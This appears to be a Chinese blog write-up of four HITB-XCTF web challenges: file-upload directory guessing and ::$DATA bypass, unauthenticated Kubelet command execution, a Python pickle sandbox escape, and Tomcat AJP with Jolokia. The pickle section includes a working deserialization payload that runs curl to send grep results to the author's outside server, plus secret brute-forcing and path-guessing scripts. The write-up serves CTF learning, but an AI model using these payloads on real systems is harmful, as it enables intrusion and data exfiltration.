HITB-XCTF Web Write Up

before start

这次ctf是半路上车,本着轻松娱乐的心态,撸了4道题。感觉这次web题目主要考察知识点的积累,都是比较前沿的姿势,找准题目对应的知识点,剩下的就比较简单了。

ps.博客升级了一下之后好像之前的一些排版都乱了,问题不大,将就看吧。。。

upload

这道题目的知识点在于php函数在windows底层实现的一些特性,导致目录可猜解。

参考文章:网站漏洞——文件判断函数的安全风险(实战篇)

回到题目,首先是一个上传页面,但是上传之后只返回了文件名,直接访问是访问不到的。源代码中有提示

Where Path~?
<!--pic.php?filename=default.jpg-->

访问http://47.90.97.18:9999/pic.php?filename=default.jpg,返回了图片的长度和宽度,正好符合了上文中使用getimagesize的利用条件,可以利用pic.php猜解上传目录。

猜解目录

import requests
import string
import time

path = ''
while True:
    for ch in (string.ascii_lowercase + string.digits):
        url = 'http://47.90.97.18:9999/pic.php?filename=../%s</1523710397.jpg' % (path+ch)
        r = requests.get(url, headers=headers)
        #print(url, r.text)
        if 'width' in r.text:
            path += ch
            print(url)
            break
        time.sleep(1)   

这里坑是真不少。。。首先default.jpg在好多个目录都有,只能自己先上传一个真正的图片。其次就是服务器对py脚本极不友好。。。。磕磕绊绊得到目录为87194f13726af7cee27ba2cfe97b60df

上传绕过

题目对后缀名进行了检测,可以使用l.php::$DATA这种方式来绕过。另外要注意的一点是,上传的文件要传入getimagesize(),需要加上GIF89a文件头。

mark

过滤掉了一些函数,使用print_r(glob("../*"));列目录,show_source('../flag.php');读文件。

成功得到flag:HITB{e5f476c1e4c6dc66278db95f0b5a228a}

Baby Baby

提示是这样的This is a pentest challenge, open your mind,扫了一下端口,发现10250端口比较可疑,查了一下,找到了Ricterz大佬的博客Security Issues of Kubelet HTTP(s) Server

具体的利用方式文中写的很详细,直接开干。

首先访问https://47.75.146.42:10250/runningpods/确认漏洞存在。

控制容器执行任意命令需要namespace、pod_name 和 container_name三个参数,经过寻找,发现flag在web-test容器中。

mark

Python's revenge

题目说的很明白,就是python沙盒逃逸,看了一下代码,和之前的强网杯的代码很相似,明显是利用pickle反序列化。不过再利用之前,需要解决几个小问题。

触发点

既然是反序列化,那就直接找loads函数吧。

def loads(strs):
    reload(pickle)
    files = StringIO(strs)
    unpkler = pickle.Unpickler(files)
    unpkler.dispatch[pickle.REDUCE] = _hook_call(
        unpkler.dispatch[pickle.REDUCE])
    return unpkler.load()

那么在哪里调用了?只有getlocation函数。

def getlocation():
    cookie = request.cookies.get('location')
    if not cookie:
        return ''
    (digest, location) = cookie.split("!")
    if not safe_str_cmp(calc_digest(location, cookie_secret), digest):
        flash("Hey! This is not a valid cookie! Leave me alone.")
        return False
    location = loads(b64d(location))
    return location

从cookie中获取location(形如front!back),经过一个验证之后,将!后面的数据进行了反序列化。

继续找调用getlocation的函数,有两处,home()reminder(),我们来看reminder()

@app.route('/reminder', methods=['POST', 'GET'])
def reminder():
    if request.method == 'POST':
        location = request.form["reminder"]
        if location == '':
            flash("Message cleared, tell us when you have found more brains.")
        else:
            flash("We will remember where you find your brains.")
        location = b64e(pickle.dumps(location))
        cookie = make_cookie(location, cookie_secret) #生成cookie
        response = redirect(url_for('home'))
        response.set_cookie('location', cookie) #设置cookie
        return response
    location = getlocation()
    if location == False:
        return redirect(url_for("clear"))
    return render_template('reminder.html')

我们可以通过post方式把我们的payload设置到cookie中,然后通过get访问来触发反序列化。

获取cookie_secret

if not os.path.exists('.secret'):
    with open(".secret", "w") as f:
        secret = ''.join(random.choice(string.ascii_letters + string.digits)
                         for x in range(4))
        f.write(secret)
with open(".secret", "r") as f:
    cookie_secret = f.read().strip()

可以看到cookie_secret是一个4位的随机字符串,很容易就可以爆破出来。先来看一下如何生成cookie

def make_cookie(location, secret):
    return "%s!%s" % (calc_digest(location, secret), location)

def calc_digest(location, secret):
    return sha256("%s%s" % (location, secret)).hexdigest()

这个location是可控的,即在前面的remind()中将我们的输入序列化之后base64encode。可以很容易的写出爆破脚本:

import string
location = 'VjEKcDAKLg=='
chars = string.ascii_letters + string.digits
for a in chars:
    for b in chars:
        for c in chars:
            for d in chars:
                secret = a + b + c + d
                if calc_digest(location,secret) == '835c8b396d3f58bd214b877fafac1a3ab71e9f0ca775fb3681f1abf46d4e70cd':
                    print secret
                    exit(0)
#secret is hitb

location和hash值都是输入任意数据从cookie中获得的。

沙盒逃逸

题目准备了一个超大的黑名单,但还是有漏网之鱼,这里使用了platform模块,利用脚本如下:

import base64
import pickle
from hashlib import sha256

def calc_digest(location, secret):
        return sha256("%s%s" % (location, secret)).hexdigest()

def make_cookie(location, secret):
        return "%s!%s" % (calc_digest(location, secret), location)

import platform
class Exp(object):
    def __reduce__(self):
        return (platform.popen, ('curl -s http://seaii-blog.com:8000/?`grep "HITB{" -r / 2>/dev/null`',))

e = Exp()
location = base64.b64encode(pickle.dumps(e))
#pickle.loads(pickle.dumps(e))
print make_cookie(location, 'hitb')

将生成好的cookie替换,访问/reminder即可触发。这里bash反弹shell没成功,用了个简单粗暴的方法。。。

Baby Nya

这题提示也比较明显the tomcat deployed jolokia.war,仍然是Ricterz大佬的文章,跟上篇挨着。。。

Exploiting Jolokia Agent with Java EE Servers

一开始访问80端口什么也没有,所以扫了一下端口,发现了8009端口。

搜到了这样一篇文章Exploiting Apache Tomcat through port 8009 using the Apache JServ Protocol

根据文章的一通操作,访问本地127.0.0.1就可以看到远程的tomcat页面了。

接下来按照Ricterz文中的Tomcat with Jolokia部分操作就可以了,flag就在管理页面。

标签: write up
评论列表
  1. jianghuxia

    老哥,可以加加你QQ吗,有个关于AES的ecb脚本想问下你

添加新评论